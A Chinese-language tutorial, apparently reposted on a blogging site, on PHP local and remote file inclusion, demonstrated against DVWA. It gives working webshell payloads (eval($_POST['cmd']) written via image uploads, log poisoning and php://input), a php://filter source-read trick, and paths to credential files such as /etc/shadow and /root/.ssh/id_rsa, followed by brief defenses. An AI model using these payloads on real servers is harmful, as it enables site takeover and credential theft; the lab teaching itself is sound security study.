文件包含漏洞

原文链接:http://wyb0.com/posts/file-include-vulnerabilities/

环境:phpStudy 2016、DVWA v1.10

0x00 文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。

在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

0x01 常见文件包含函数

include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once()和require_once():若文件中代码已被包含则不会再次包含

0x02 利用条件

  • 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
  • 用户能够控制该动态变量
注:PHP中只要文件内容符合PHP语法规范,包含时不管扩展名是什么都会被PHP解析,  
   若文件内容不符合PHP语法规范则会暴漏其源码。包含不存在的文件则可能暴露路径

0x03 漏洞危害

  • 执行任意代码
  • 读取文件源码或敏感信息
  • 包含恶意文件控制网站
  • 甚至控制服务器

0x04 漏洞分类

  • 本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码
    • 读敏感文件,读PHP文件
    • 包含日志文件GetShell
    • 上传图片马,然后包含从而GetShell
    • 包含/proc/self/envion文件GetShell
    • 包含data:或php://input等伪协议
    • 若有phpinfo则可以包含临时文件
  • 远程文件包含:可以直接执行任意代码
    • 要保证php.ini中allow_url_fopen和allow_url_include要为On

0x05 漏洞挖掘

上AWVS或者自己写代码测试

0x06 本地包含GetShell

  • 简单代码示例
<?php
    if (@$_GET['page']) {
        include("./action/".$_GET['page']);
    } else {
        include "./action/show.php";
    }
?>
文件包含-上传图片马

文件包含-验证能包含图片马
  • 包含图片马写shell

    • 生成包含<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?>的图片马
    • 上传后图片路径为../../hackable/uploads/aa.png
    • 访问http://10.11.11.20/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/aa.png
    • 在fi这个文件夹下会看到生成shell.php,内容为<?php eval($_POST['cmd']);?>
  • 包含日志GetShell(主要是得到日志的路径)

在Linux下一般读日志路径:
文件包含漏洞读取apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
默认位置/var/log/httpd/access_log

日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent
[图片上传失败...(image-b4c96-1529856486422)]
可以通过Burp Suite来绕过编码

文件包含-包含日志

日志内容如下:
文件包含-包含日志

文件包含-包含日志

  • 使用PHP封装协议GetShell
allow_url_include=On时:

http://www.xxx.com/index.php?page=php://input
POST:<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>") ?>

结果将在index.php所在文件下生成一句话文件shell.php
  • %00截断包含(PHP<5.3.4 and magic_quotes_gpc=Off,CVE-2006-7243)
文件包含-上传图片马

还有一个路径长度截断,可以用.或/.或./截断,Windows需要259个bytes,Linux需要4096个bytes

  • phpinfo包含临时文件GetShell
向phpinfo上传文件则可以返回文件路径,但是文件存在时间很短,
可以用程序持续上传,然后就可以包含你上传的文件了
  • 包含环境变量文件GetShell
需要PHP运行在CGI模式
然后和包含日志一样,在User-Agent修改为payload

0x07 本地包含读文件

  • 读敏感文件
文件包含-读敏感文件

可读如下敏感文件:

Windows:
    C:\boot.ini  //查看系统版本
    C:\Windows\System32\inetsrv\MetaBase.xml  //IIS配置文件
    C:\Windows\repair\sam  //存储系统初次安装的密码
    C:\Program Files\mysql\my.ini  //Mysql配置
    C:\Program Files\mysql\data\mysql\user.MYD  //Mysql root
    C:\Windows\php.ini  //php配置信息
    C:\Windows\my.ini  //Mysql配置信息
    ...
Linux:
    /root/.ssh/authorized_keys
    /root/.ssh/id_rsa
    /root/.ssh/id_ras.keystore
    /root/.ssh/known_hosts
    /etc/passwd
    /etc/shadow
    /etc/my.cnf
    /etc/httpd/conf/httpd.conf
    /root/.bash_history
    /root/.mysql_history
    /proc/self/fd/fd[0-9]*(文件标识符)
    /proc/mounts
    /porc/config.gz
  • 读PHP文件源码
直接包含php文件时会被解析,不能看到源码,可以用封装协议读取:
?page=php://filter/read=convert.base64-encode/resource=config.php
访问上述URL后会返回config.php中经过Base64加密后的字符串,解密即可得到源码

0x08 远程包含

注:远程的文件名不能为php可解析的扩展名,allow_url_fopen和allow_url_include为On是必须的

文件包含-远程包含

若在a.txt写入<?php fputs(fopen("shell.php","w"),"<?php @eval($_POST['cmd']); ?>") ?>,可直接写shell

0x09 漏洞防御

PHP中使用open_basedir配置,将访问限制在指定区域
过滤./\
禁止服务器远程文件包含
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,948评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,371评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,490评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,521评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,627评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,842评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,997评论 3 408
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,741评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,203评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,534评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,673评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,339评论 4 330
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,955评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,770评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,000评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,394评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,562评论 2 349

推荐阅读更多精彩内容